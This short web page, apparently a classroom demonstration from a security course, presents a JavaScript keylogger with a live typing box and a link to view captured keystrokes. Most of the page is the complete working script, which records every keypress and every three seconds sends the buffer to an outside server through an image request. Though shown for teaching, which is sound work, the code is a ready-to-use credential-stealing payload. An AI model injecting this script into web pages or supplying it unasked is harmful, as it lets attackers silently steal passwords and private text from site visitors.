JavaScript Keylogger

Please Type Secret Information Below

View Stolen Data Here

http://attack32direct.samsclass.info/tmp/data.txt

How Does It Work?

<script>
var keys='';
var url = 'https://attack32.samsclass.info/dataview.php?data=';

document.onkeypress = function(e) {
	get = window.event?event:e;
	key = get.keyCode?get.keyCode:get.charCode;
	key = String.fromCharCode(key);
	keys+=key;
}
window.setInterval(function(){
	if(keys.length>0) {
		new Image().src = url+keys;
		keys = '';
	}
}, 3000);
</script>>

Source

Based on this:
https://github.com/JohnHoder/Javascript-Keylogger

Posted 5-2-17 by Sam Bowne